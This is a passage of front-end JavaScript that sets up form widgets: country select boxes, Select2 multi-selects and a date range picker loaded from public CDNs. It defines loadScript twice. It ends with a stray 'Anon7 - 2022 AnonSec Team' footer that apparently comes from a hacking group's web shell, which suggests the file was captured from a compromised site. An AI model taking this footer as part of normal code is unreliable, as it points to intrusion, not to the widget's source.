      option.textContent = `${country.name}`;
      this.select.appendChild(option);
    }
  }
}

const countrySelectElements = document.querySelectorAll(
  ".brexaa-country-select"
);

for (const selectElement of countrySelectElements) {
  const countryCodeSelect = new CountrySelect(selectElement, countries);
  countryCodeSelect.populateSelect();
}

function loadScript(src, callback) {
  const script = document.createElement("script");
  script.src = src;
  script.onload = callback;
  document.head.appendChild(script);
}

function addSelect2Resources() {
  // Check if jQuery is already loaded
  if (typeof jQuery === "undefined") {
    // Load jQuery dynamically
    loadScript("https://code.jquery.com/jquery-3.6.0.min.js", function () {
      // jQuery is loaded, now load Select2
      loadScript(
        "https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/js/select2.min.js",
        function () {
          // Initialize Select2 on the select element
          $(".brexaa-multiple-select").select2();
          $(document).ready(function () {
            // Get selected values and name when the button is clicked
            $(".brexaa-multiple-select").on("change", function (e) {
              const selectedValues = $(`#${e.target.name}`).val();
              const data = {
                form_field_id: e.target.name,
                value: selectedValues,
              };
              form_data = [
                ...form_data.filter(
                  (ele) => ele.form_field_id !== e.target.name
                ),
                data,
              ];
            });
          });
        }
      );
    });
  } else {
    // jQuery is already loaded, load Select2 directly
    loadScript(
      "https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/js/select2.min.js",
      function () {
        // Initialize Select2 on the select element
        $(".brexaa-multiple-select").select2();
        $(document).ready(function () {
          $(".brexaa-multiple-select").on("change", function (e) {
            const selectedValues = $(`#${e.target.name}`).val();
            const data = {
              form_field_id: e.target.name,
              value: selectedValues,
            };
            form_data = [
              ...form_data.filter((ele) => ele.form_field_id !== e.target.name),
              data,
            ];
          });
        });
      }
    );
  }

  // Create a link element for Select2 CSS
  const select2CSSLink = document.createElement("link");
  select2CSSLink.rel = "stylesheet";
  select2CSSLink.href =
    "https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/css/select2.min.css";

  // Append the CSS link to the head of the document
  document.head.appendChild(select2CSSLink);
}

// Call the function to add Select2 resources dynamically
addSelect2Resources();

function addDateRangePicker() {
  // Check if jQuery is already loaded
  if (typeof jQuery === "undefined") {
    // Load jQuery dynamically
    loadScript("https://code.jquery.com/jquery-3.6.0.min.js", function () {
      // jQuery is loaded, now load daterangepicker and create the input field
      loadScript(
        "https://cdn.jsdelivr.net/moment/2.29.1/moment.min.js",
        function () {
          loadScript(
            "https://cdn.jsdelivr.net/moment/2.29.1/locale/en.js",
            function () {
              loadScript(
                "https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.js",
                function () {
                  // Create the date range input field
                  $(".brexaa-date-picker").daterangepicker();
                }
              );
            }
          );
        }
      );
    });
  } else {
    // jQuery is already loaded, load daterangepicker directly
    loadScript(
      "https://cdn.jsdelivr.net/moment/2.29.1/moment.min.js",
      function () {
        loadScript(
          "https://cdn.jsdelivr.net/moment/2.29.1/locale/en.js",
          function () {
            loadScript(
              "https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.js",
              function () {
                // Create the date range input field
                $(".brexaa-date-picker").daterangepicker();
              }
            );
          }
        );
      }
    );
  }

  // Create a link element for daterangepicker CSS
  const daterangepickerCSSLink = document.createElement("link");
  daterangepickerCSSLink.rel = "stylesheet";
  daterangepickerCSSLink.href =
    "https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.css";

  // Append the CSS link to the head of the document
  document.head.appendChild(daterangepickerCSSLink);
}

// Function to load a script dynamically
function loadScript(url, callback) {
  const script = document.createElement("script");
  script.type = "text/javascript";
  script.src = url;
  script.onload = callback;
  document.head.appendChild(script);
}

addDateRangePicker();

Anon7 - 2022
AnonSec Team